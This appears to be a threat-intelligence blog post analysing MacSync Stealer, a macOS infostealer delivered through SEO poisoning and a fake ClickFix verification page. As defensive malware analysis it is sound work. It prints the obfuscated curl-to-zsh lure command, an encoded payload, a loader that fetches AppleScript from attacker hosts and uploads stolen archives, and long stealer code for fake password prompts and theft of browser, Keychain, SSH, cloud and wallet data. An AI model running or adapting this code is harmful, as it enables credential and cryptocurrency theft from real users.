Back
Malware Intelligence
Table of Content

Executive Summary

CloudSEK researchers identified a multi-stage macOS malware delivery chain leveraging SEO poisoning and ClickFix-style social engineering to distribute an information-stealing malware dubbed MacSync Stealer.

The campaign begins with malicious search results targeting users attempting to download PDF versions of popular books. Victims are redirected to a fake verification page that instructs them to execute a malicious Terminal command. This command launches a staged malware loader that retrieves additional payloads from attacker-controlled infrastructure.

The final stage deploys an AppleScript-based information stealer capable of harvesting browser credentials, cryptocurrency wallets, SSH keys, cloud configuration files, and sensitive user documents. The malware compresses the collected data and exfiltrates it to a command-and-control server.

The campaign further escalates by targeting Ledger Live installations, modifying application components to potentially enable transaction manipulation and long-term financial persistence.

Analysis

Initial Access: SEO Poisoning

The infection chain begins with SEO poisoning targeting users searching for downloadable PDF versions of books.

During investigation, the following search query led to a malicious result:

My search query was simple :


"Inspired: How To Create Products Customers Love" filetype:pdf

Among the results was a domain that appeared to host an academic document repository:


https://b.mou.ir/renhancef/84974J166D/vallocated/88983JD/inspired__how_to-create__products_customers-love__english-edition.pdf

At first glance, the URL appeared legitimate. The filename matched the book title and the domain structure resembled a typical document hosting platform.

However, instead of delivering a PDF file, the link redirected to:


https://allfile.me/loading/?t=Inspired%20%20How%20To%20Create%20%20Products%20Customers%20Love%20%20English%20Edition&s=Yi5tb3UuaXI

The page displayed a fake human verification screen featuring a countdown timer and an “I'm human” button.

Selecting the verification option redirected users to a macOS-themed instruction page instructing them to open Terminal and execute a command.

This technique aligns with ClickFix social engineering campaigns, where attackers persuade victims to execute malicious commands under the guise of resolving verification or download issues.

The page hosting the command was located at:


https://datacloudhost4.baby/?c=ADtxlGmPdgUAd4oCAElOOQASAAAAAADt

Stage 1 — Initial Loader (Obfuscated Command)

Victims are instructed to execute the following command:

echo "Apple-Installer: https://apps.apple.com/hidenn-gift.application/macOsAppleApicationSetup421415.dmg" &&curl -kfsSL $(echo 'ZWNobyAnSW5zdGFsbGluZyBwYWNrYWdlIHBsZWFzZSB3YWl0Li4uJyAmJiBjdXJsIC1rZnNTTCBodHRwOi8vY2FsaWZvcm5pYXRpcmVzaG9wLmNvbS9jdXJsLzM4YzlkODlmODU2MzVkNjk1OTBiMDI4NjBjNWM3NTEyYzY2MTUzYjJkNDhmYTQzOTBkNTBmNDljOWYwNWIwMmV8enNo'|base64 -D)|zsh

The command looks legitimate. The very first thing it does is echo a line referencing: https://apps.apple.com/...

But the real behavior is hidden inside the Base64-encoded string.

Once decoded, it reveals:

echo 'Installing package please wait...' && curl -kfsSL http://bracesarlington.com/curl/0dbe695426c12ddd6fb1085e738869149061e28daad1b75eb40dea13ef73b5de

The second part silently pulls a remote script from bracesarlington.com and pipes it directly into zsh for execution.

Stage 2 — Obfuscated Script

The second-stage script retrieved from the attacker infrastructure contains an embedded payload encoded in Base64 and compressed using gzip.

The script structure resembles the following:

#!/bin/zsh
d23826=$(base64 -D <<'PAYLOAD_m117191906222546' | gunzip
H4sIABNPlGkAA91WW2/bNhR+9684VRVDasBIsuJLLmoadAEaFGmHpMGCdYVBiZRNWKY0kV4ct/3v
oyxZomQD28texheZhx+/cz/061dOyLizEfMewXSZ8mm84pFkKbds+N4DteiaRnDpEPqXw1dJ0sje
HpANOsIkjXACJF1ixgMjzHFEBc4Txmcy5SdRujQ0mEwXVKFcEtLR2fB0MIq8ASFkFIeeOxnSsT+Z
jM680zN35NHBhGBMvHA8pOGpSyj2fBqP/XBIqE6JMzZd0JfAGHpnLo29se97Ex+7JBr5cTga+P5w
HA9HZKRfillCA8ORy8xJBU7S2UzZe7JhWQliMXwF8zWgmQQXvl2AnFO+PSlWtMoTQAtAAhBa4jWS
bEnBd+GPGlIs9AGMR0FzdD2jXJ7DXbphSYKd4YkL1h2OGJepmF/ALZc0ASWAzw/wBJ479YbTsQ3X
WZbQ32j4kUln6I9P/JFxQINyHyn3z8GsAtEFGXMps3PHMcsUOeSF4yWLruSaBOY2H/3sWf30DPgB
Khgiylkmy3wngv5vvd53N2Za8q8AcXog+XTNJHhd/Fd4BSgGwywKSzH/KPai3n/rsuRUrnLe5ikr
8/2Hx08fpw+3v98EpmV5LrxRsRmcVh/b1qB310/T+5sv97c3D8FEk6+yJMVkypSnFsGSwvGRsJFp
pRnlQiSQY04AzekaJno3F1bTaJ6CeX/96ZfPd9XHbrWvxMlUsE1ZFs1WaRISyyIGR5va7Q55iYjg
qA6MrQUQFfcaxm0Q2wJE/ywS8u9jWV6O5iu+EEU0wWro4FgLNSDwbHB0SSvSLHC3u+e5shoUEYPL
FruCX6gZWNtUXkvjWFBZaGYqfw15xd0AtyRVIBtYDVIKSypldAOFt1oClAHQ77eILN1bVDHsqRar
SA1sUTnYyLGUdJnJwKvltfPVEVwGegkW6isyCAKVqE5IilU05TRKSWEdISrxwa5UQhF4IBYsC8zK
1ShdcRU7zd9WOXX6vVj6hHqCXx+/HMAgpDoCI/Ui4vwF3qFDkP98gu20/OMUKy2uh6036U7bLSCF
Ji4Hjp/BOPpeR/7nIR3daTlTU+MqXLGEaK+ENlbqn/0yPYwTug5M1m93nL5rTQO7ZUGRt2kxHFbq
zlXrqBwNpoaopoAqNrP2Sb3TqjrcPWki1ft0YGLs1q72vdZJ69XbLcuqqv742Lb3iRJKM1Ad56sO
3bXHGxh0oNVwKhZJeaNEeanaaq959mxuTboOoZoxtWk1eb7UXqWeRuH2fvaU1s4fQoV8Z0C/Ubx9
7NxeHZHq8YvZ32XCJlRVCgAA
PAYLOAD_m117191906222546
)
eval "$d23826"

The script performs the following operations:

  1. Decodes the Base64 payload
  2. Decompresses the content using gzip
  3. Stores the reconstructed script in memory
  4. Executes it dynamically using eval  in memory.

This approach helps evade static detection and hides the true functionality of the payload until runtime. 

Decoded zsh script that looks like the following:

#!/bin/zsh
daemon_function() {
    exec </dev/null
    exec >/dev/null
    exec 2>/dev/null
    local domain="bracesarlington.com"
    local token="0dbe695426c12ddd6fb1085e738869149061e28daad1b75eb40dea13ef73b5de"
    local api_key="5190ef1733183a0dc63fb623357f56d6"
    local file="/tmp/osalogging.zip"
    if [ $# -gt 0 ]; then
        curl -k -s --max-time 30 \
            -H "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36" \
            -H "api-key: $api_key" \
            "http://$domain/dynamic?txd=$token&pwd=$1" | osascript
    else
        curl -k -s --max-time 30 \
            -H "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36" \
            -H "api-key: $api_key" \
            "http://$domain/dynamic?txd=$token" | osascript
    fi
    if [ $? -ne 0 ]; then
        exit 1
    fi
    if [[ ! -f "$file" || ! -s "$file" ]]; then
        return 1
 fi
    local CHUNK_SIZE=$((10 * 1024 * 1024))
    local MAX_RETRIES=8
    local upload_id=$(date +%s)-$(openssl rand -hex 8 2>/dev/null || echo $RANDOM$RANDOM)
    local total_size
    total_size=$(stat -f %z "$file" 2>/dev/null || stat -c %s "$file")
    if [[ -z "$total_size" || "$total_size" -eq 0 ]]; then
        return 1
    fi
    local total_chunks=$(( (total_size + CHUNK_SIZE - 1) / CHUNK_SIZE ))
    local i=0
    while (( i < total_chunks )); do
        local offset=$((i * CHUNK_SIZE))
        local chunk_size=$CHUNK_SIZE
        (( offset + chunk_size > total_size )) && chunk_size=$((total_size - offset))
        local success=0
        local attempt=1
        while (( attempt <= MAX_RETRIES && success == 0 )); do
            http_code=$(dd if="$file" bs=1 skip=$offset count=$chunk_size 2>/dev/null | \
                curl -k -s -X PUT \
                --data-binary @- \
                -H "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36" \
                -H "api-key: $api_key" \
                --max-time 180 \
                -o /dev/null \
                -w "%{http_code}" \
                "http://$domain/gate?buildtxd=$token&upload_id=$upload_id&chunk_index=$i&total_chunks=$total_chunks" 2>/dev/null)
            curl_status=$?
            if [[ $curl_status -eq 0 && $http_code -ge 200 && $http_code -lt 300 ]]; then
                success=1
            else
                ((attempt++))
                sleep $((3 + attempt * 2))
            fi
        done
   if (( success == 0 )); then
            return 1
        fi
        ((i++))
    done
    rm -f "$file"
    return 0
}
if daemon_function "$@" & then
    exit 0
else
    exit 1
fi

The script is essentially a macOS loader designed to fetch instructions from a remote server, execute them through AppleScript, and then exfiltrate collected data back to the attacker — all while running silently in the background.

Stage 3 — The MacSync AppleScript Payload

The reconstructed script launches a background daemon responsible for:

  • Retrieving additional instructions from the command-and-control server
  • Executing AppleScript payloads
  • Uploading stolen data

The loader retrieves the next payload using a request similar to the following:

curl -k -s \
  -H "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36" \
  -H "api-key: 5190ef1733183a0dc63fb623357f56d6" \
"http://bracesarlington.com/dynamic?txd=0dbe695426c12ddd6fb1085e738869149061e28daad1b75eb40dea13ef73b5de&pwd=PASSWORD" \
  -o stage3.applescript

The response contains the core AppleScript malware responsible for data collection.

Credential Harvesting and Data Collection

The script starts by preparing a temporary working directory under /tmp/, generating a random folder name to avoid easy signature detection.

set username to (system attribute "USER")
set profile to "/Users/" & username
set randomNumber to do shell script "echo $((RANDOM % 9000000 + 1000000))"
set writemind to "/tmp/sync" & randomNumber & "/"

It then attempts to obtain the user’s password. If a password was passed from the shell stage, it validates it using dscl. If not, it displays a fake system dialog prompting the user to “enter password to continue.”

on checkvalid(username, password_entered)
        try
                set result to do shell script "dscl . authonly " & quoted form of username & space & quoted form of password_entered
                if result is not equal to "" then
                        return false
                else
                        return true
                end if
        on error
                return false
        end try
end checkvalid

on getpwd(username, writemind, provided_password)
    try
        if provided_password is not equal to "" then
            if checkvalid(username, provided_password) then
                writeText(provided_password, writemind & "Password")
                return provided_password
            end if
        end if
        if checkvalid(username, "") then
            set result to do shell script "security 2>&1 > /dev/null find-generic-password -ga \"Chrome\" | awk 
\"{print $2}\""
            writeText(result as string, writemind & "masterpass-chrome")
            return ""
        else
            repeat
                                set imagePath to "/System/Library/CoreServices/CoreTypes.bundle/Contents/Resources/LockedIcon.icns" as POSIX file
                set result to display dialog "Required Application Helper. Please enter password for continue." default answer "" with icon imagePath buttons {"Continue"} default button "Continue" giving up after 150 with title "System Preferences" with hidden answer
                set password_entered to text returned of result
                if checkvalid(username, password_entered) then
                    writeText(password_entered, writemind & "Password")
                    return password_entered
                end if
            end repeat
        end if
    end try
    return ""
end getpwd

The captured password is written to disk and included in the exfiltrated archive.

Browser Credential Extraction

The malware enumerates browser profile directories for Chromium-based browsers (Chrome, Brave, Edge, Opera, Arc, etc.) and Gecko-based browsers (Firefox). It targets files such as:

  • Login Data : stored credentials
  • Cookies : active session cookies
  • Web Data : autofill data
  • key4.db : encryption keys (Firefox)
  • logins.json : saved credentials
  • cookies.sqlite : Firefox session storage

It also scans for specific extension IDs corresponding to crypto wallets and extracts their local extension storage and IndexedDB data.

on Chromium(writemind, chromium_map)
        set pluginList to {}
    set pluginList to pluginList & {"eiaeiblijfjekdanodkjadfinkhbfgcd", "aeblfdkhhhdcdjpifhhbdiojplfjncoa"}
    set pluginList to pluginList & {"bfogiafebfohielmmehodmfbbebbbpei", "nngceckbapebfimnlniiiahkandclblb"}
    set pluginList to pluginList & {"fdjamakpfbbddfjaooikfcpapjohcfmg", "hdokiejnpimakedhajhdlcegeplioahd"}
    set pluginList to pluginList & {"pnlccmojcmeohlpggmfnbbiapkmbliob", "ghmbeldphafepmbegfdlkpapadhbakde"}
    set pluginList to pluginList & {"kmcfomidfpdkfieipokbalgegidffkal", "bnfdmghkeppfadphbnkjcicejfepnbfe"}
    set pluginList to pluginList & {"caljgklbbfbcjjanaijlacgncafpegll", "folnjigffmbjmcjgmbbfcpleeddaedal"}
    set pluginList to pluginList & {"igkpcodhieompeloncfnbekccinhapdb", "admmjipmmciaobhojoghlmleefbicajg"}
    set pluginList to pluginList & {"ehpbfbahieociaeckccnklpdcmfaeegd", "epanfjkfahimkgomnigadpkobaefekcd"}
    set pluginList to pluginList & {"ppnbnpeolgkicgegkbkbjmhlideopiji", "cejfhijdfemlohmcjknpbeaohedoikpp"}
    set pluginList to pluginList & {"nmhjblhloefhbhgbfkdgdpjabaocnhha", "iklgijhacenjgjgdnpnohbafpbmnccek"}
    set pluginList to pluginList & {"ppkkcfblhfgmdmefkmkoomenhgecbemi", "lgndjfkadlbpaifdpbbobdodbaiaiakb"}
    set pluginList to pluginList & {"bbphmbmmpomfelajledgdkgclfekilei", "bnfooenhhgcnhdkdjelgmmkpaemlnoek"}

        set chromiumFiles to {"/Network/Cookies", "/Cookies", "/Web Data", "/Login Data", "/Local Extension Settings/", "/IndexedDB/"}
        repeat with chromium in chromium_map
                set savePath to writemind & "Browsers/" & item 1 of chromium & "_"
                try
                        set fileList to list folder item 2 of chromium without invisibles
                        repeat with currentItem in fileList
                                if ((currentItem as string) is equal to "Default") or ((currentItem as string) contains "Profile") then
                                        set profileName to (item 1 of chromium & currentItem)
                                        repeat with CFile in chromiumFiles
   set readpath to (item 2 of chromium & currentItem & CFile)
                                                if ((CFile as string) is equal to "/Network/Cookies") then
                                                        set CFile to "/Cookies"
                                                end if
                                                if ((CFile as string) is equal to "/Local Extension Settings/") then
                                                        grabPlugins(readpath, writemind & "Extensions/" & profileName, pluginList, false)
                                                else if (CFile as string) is equal to "/IndexedDB/" then
                                                        grabPlugins(readpath, writemind & "Extensions/" & profileName, pluginList, true)
                                                else
                                                        set writepath to savePath & currentItem & CFile
                                                        readwrite(readpath, writepath)
                                                end if
                                        end repeat
                                end if
                        end repeat
                end try
        end repeat
end Chromium

on ChromiumWallets(writemind, chromium_map)
        set pluginList to {}
        set pluginList to pluginList & {"nkbihfbeogaeaoehlefnkodbefgpgknn", "bfnaelmomeimhlpmgjnjophhpkkoljpa"}
        set pluginList to pluginList & {"hnfanknocfeofbddgcijnmhnfnkdnaad", "fnjhmkhhmkbjkkabndcnnogagogbneec"}
        set pluginList to pluginList & {"acmacodkjbdgmoleebolmdjonilkdbch", "egjidjbpglichdcondbcbdnbeeppgdph"}
        set pluginList to pluginList & {"aholpfdialjgjfhomihkjbmgjidlcdno", "pdliaogehgdbhbnmkklieghmmjkpigpa"}
        set pluginList to pluginList & {"mcohilncbfahbmgdjkbpemcciiolgcge", "hpglfhgfnhbgpjdenjgmdgoeiappafln"}
        set pluginList to pluginList & {"bhhhlbepdkbapadjdnnojkbgioiodbic", "cjmkndjhnagcfbpiemnkdpomccnjblmj"}
        set pluginList to pluginList & {"kamfleanhcmjelnhaeljonilnmjpkcjc", "jnldfbidonfeldmalbflbmlebbipcnle"}
        set pluginList to pluginList & {"fdcnegogpncmfejlfnffnofpngdiejii", "klnaejjgbibmhlephnhpmaofohgkpgkd"}
        set pluginList to pluginList & {"kjjebdkfeagdoogagbhepmbimaphnfln", "ldinpeekobnhjjdofggfgjlcehhmanlj"}
        set pluginList to pluginList & {"kpfchfdkjhcoekhdldggegebfakaaiog", "idnnbdplmphpflfnlkomgpfbpcgelopg"}
        set pluginList to pluginList & {"mlhakagmgkmonhdonhkpjeebfphligng", "bipdhagncpgaccgdbddmbpcabgjikfkn"}
        set pluginList to pluginList & {"nhnkbkgjikgcigadomkphalanndcapjk", "klghhnkeealcohjjanjjdaeeggmfmlpl"}
        set pluginList to pluginList & {"ebfidpplhabeedpnhjnobghokpiioolj", "emeeapjkbcbpbpgaagfchmcgglmebnen"}
        set pluginList to pluginList & {"fldfpgipfncgndfolcbkdeeknbbbnhcc", "penjlddjkjgpnkllboccdgccekpkcbin"}

        set chromiumFiles to {"/Local Extension Settings/", "/IndexedDB/"}
        repeat with chromium in chromium_map
                try
                        set fileList to list folder item 2 of chromium without invisibles
                        repeat with currentItem in fileList
                                if ((currentItem as string) is equal to "Default") or ((currentItem as string) contains "Profile") then
                                        set profileName to (item 1 of chromium & currentItem)
                                        repeat with CFile in chromiumFiles
                                                set readpath to (item 2 of chromium & currentItem & CFile)
                                                if ((CFile as string) is equal to "/Local Extension Settings/") then
                                                        grabPlugins(readpath, writemind & "Wallets/Web/" & profileName, pluginList, false)
                                                else if (CFile as string) is equal to "/IndexedDB/" then
                                                        grabPlugins(readpath, writemind & "Wallets/Web/" & profileName, pluginList, true)
                                                else
                                                        set writepath to savePath & currentItem & CFile
                                                        readwrite(readpath, writepath)
                                                end if
                                        end repeat
                                end if
                        end repeat
                end try
        end repeat
end Chromium

on Gecko(writemind, gecko_map)
        set geckoFiles to {"/cert9.db", "/cookies.sqlite", "/cookies.sqlite-wal", "/formhistory.sqlite", "/key4.db", "/logins-backup.json", "/logins.json", "/signons.sqlite", "/places.sqlite"}
        repeat with gecko in gecko_map
                set savePath to writemind & "Browsers/" & item 1 of gecko & "_"
        try
                        set fileList to list folder item 2 of gecko without invisibles
                        repeat with currentItem in fileList
                                if ((currentItem as string) contains "Profile") or ((currentItem as string) contains ".default") then
                                        set profileName to (item 1 of gecko & currentItem)
                                        repeat with CFile in geckoFiles
                                                set readpath to (item 2 of gecko & currentItem & CFile)
                                                set writepath to savePath & currentItem & CFile
                                                readwrite(readpath, writepath)
                                        end repeat
                                end if
                        end repeat
        end try
    end repeat
end Gecko

Cryptocurrency Wallet Targeting

The malware specifically targets browser-based cryptocurrency wallet extensions by enumerating extension storage directories and IndexedDB data.

In addition, it directly copies desktop wallet directories such as Exodus, Electrum, Atomic, Guarda, Coinomi, Sparrow, Wasabi, Bitcoin Core, and others.

set walletMap to {}
set walletMap to walletMap & {{"Wallets/Desktop/Exodus", library & "Exodus/"}}
set walletMap to walletMap & {{"Wallets/Desktop/Dash_Core", library & "DashCore/"}}
set walletMap to walletMap & {{"Wallets/Desktop/Dogecoin_Core", library & "Dogecoin/"}}
set walletMap to walletMap & {{"Wallets/Desktop/Electrum_LTC", profile & "/.electrum-ltc/wallets/"}}
set walletMap to walletMap & {{"Wallets/Desktop/BlueWallet", library & "BlueWallet/"}}
set walletMap to walletMap & {{"Wallets/Desktop/Zengo", library & "Zengo/"}}
set walletMap to walletMap & {{"Wallets/Desktop/Trust", library & "Trust Wallet/"}}
set walletMap to walletMap & {{"Wallets/Desktop/Ledger Live", library & "Ledger Live/"}}
set walletMap to walletMap & {{"Wallets/Desktop/Ledger Wallet", library & "Ledger Wallet/"}}
set walletMap to walletMap & {{"Wallets/Desktop/Trezor Suite", library & "@trezor"}}

Additional Data Harvesting

Beyond browser and wallet data, the malware also collects:

  • macOS Keychains
  • ~/.ssh keys
  • ~/.aws credentials
  • ~/.kube configs
  • Shell history files (.zsh_history, .bash_history)
  • .gitconfig
  • Safari cookies
  • Apple Notes databases
  • Telegram Desktop session data
on Telegram(writemind, library)
                try
                        GrabFolder(library & "Telegram Desktop/tdata/", writemind & "Telegram Desktop/")
                end try
end Telegram

on Keychains(writemind)
                try
                        do shell script "cp ~/Library/Keychains/*.keychain-db " & quoted form of (POSIX path of writemind)
                end try
end Keychains
on CloudKeys(writemind)
                try
                        do shell script "cp -r ~/.ssh " & quoted form of (POSIX path of writemind)
                end try
                try
                        do shell script "cp -r ~/.aws " & quoted form of (POSIX path of writemind)
                end try
                try
                        do shell script "cp -r ~/.kube " & quoted form of (POSIX path of writemind)
                end try
end CloudKeys

readwrite(profile & "/.zshrc", writemind & "Profile/.zshrc")
readwrite(profile & "/.zsh_history", writemind & "Profile/.zsh_history")
readwrite(profile & "/.bash_history", writemind & "Profile/.bash_history")
readwrite(profile & "/.gitconfig", writemind & "Profile/.gitconfig")

It also performs a targeted file grab from Desktop, Documents, and Downloads, looking specifically for extensions like: .pdf, .docx, .wallet, .key, .keys, .seed, .kdbx, .pem, .ovpn

on FilegrabberFDA(writemind, profile)
        set destinationFolderPath to POSIX file (writemind & "FileGrabber/")
        mkdir(destinationFolderPath)
        try

                set sourceFolders to {profile & "/Downloads/", profile & "/Documents/", profile & "/Desktop/"}
                set extensionsList to {"pdf", "docx", "doc", "wallet", "key", "keys", "db", "txt", "seed", "rtf", "kdbx", "pem", "ovpn"}

                repeat with src in sourceFolders
                        repeat with ext in extensionsList
                                try
                                        set shellCmd to "find " & quoted form of (POSIX path of src) & " -maxdepth 1 -type f -iname '*." & ext & "' -print0 | xargs -0 -J% cp -vp % " & quoted form of (POSIX path of destinationFolderPath)
                                        do shell script shellCmd
                                end try
                        end repeat
                end repeat

        end try
        try
                readwrite(profile & "/Library/Cookies/Cookies.binarycookies", writemind & "Safari/Cookies.binarycookies")
                readwrite(profile & "/Library/Safari/Form Values", writemind & "Safari/Autofill")
                readwrite(profile & "/Library/Safari/History.db", writemind & "Safari/History.db")
        end try
        try
                readwrite(profile & "/Library/Group Containers/group.com.apple.notes/NoteStore.sqlite", writemind & "Notes/NoteStore.sqlite")
                readwrite(profile & "/Library/Group Containers/group.com.apple.notes/NoteStore.sqlite-shm", writemind & "Notes/NoteStore.sqlite-shm")
                readwrite(profile & "/Library/Group Containers/group.com.apple.notes/NoteStore.sqlite-wal", writemind & "Notes/NoteStore.sqlite-wal")

        end try

end Filegrabber

Data Exfiltration

Collected data is compressed into an archive:


/tmp/osalogging.zip

The archive is uploaded to the command-and-control server using chunked HTTP PUT requests, enabling reliable transfer of large datasets.

After successful exfiltration, the archive is deleted to remove local evidence.

From the victim's perspective, the installation simply fails and displays the following message:


Your Mac does not support this application. Try reinstalling or downloading the version for your system.

try
        do shell script "ditto -c -k --sequesterRsrc " & writemind & " /tmp/osalogging.zip"
end try
try
        do shell script "rm -rf /tmp/sync*"
end try

display dialog "Your Mac does not support this application. Try reinstalling or downloading the version for your system." with title "System Preferences" with icon stop buttons {"ОК"}

From the victim’s perspective, the installer simply failed.

In reality, credentials, cookies, wallet data, SSH keys, cloud configs, and system details have already been archived and transmitted.

Final Stage: Crypto Wallet Tampering and Post-Compromise Manipulation

The campaign goes beyond data theft by attempting to modify cryptocurrency wallet applications.

The malware checks for the presence of Ledger Live in:


/Applications/Ledger Live.app

If detected, the malware downloads attacker-controlled files from:

https://bracesarlington.com/ledger/live/<token>

The downloaded archive replaces internal application components such as:

app.asar
Info.plist

After modification, the application is re-signed using:


codesign -f -s -

Conclusion

This campaign demonstrates how simple social engineering combined with staged payload delivery can lead to full system compromise on macOS.

Within seconds of executing a single Terminal command, victims may unknowingly expose credentials, cryptocurrency wallets, cloud configurations, and other sensitive data.

The additional tampering of cryptocurrency wallet software indicates that the objective extends beyond credential theft toward financial persistence and transaction manipulation.

Appendix

Github Repository link : https://github.com/m1r3dk/macsync-stealer-analysis

Indicators of Compromise (IOCs)

Domains

  • bracesarlington.com
  • datacloudhost4.baby
  • allfile.me
  • b.mou.ir

Files

  • /tmp/osalogging.zip
  • /tmp/sync*

Headers

  • api-key: 5190ef1733183a0dc63fb623357f56d6

⚠️ Research Disclaimer

This analysis and accompanying repository are provided strictly for defensive research, reverse engineering, and detection development purposes.

All malicious infrastructure referenced in this article was active during analysis and may still pose risk. Do not execute any samples outside of a controlled lab environment.

No items found.

Related Blogs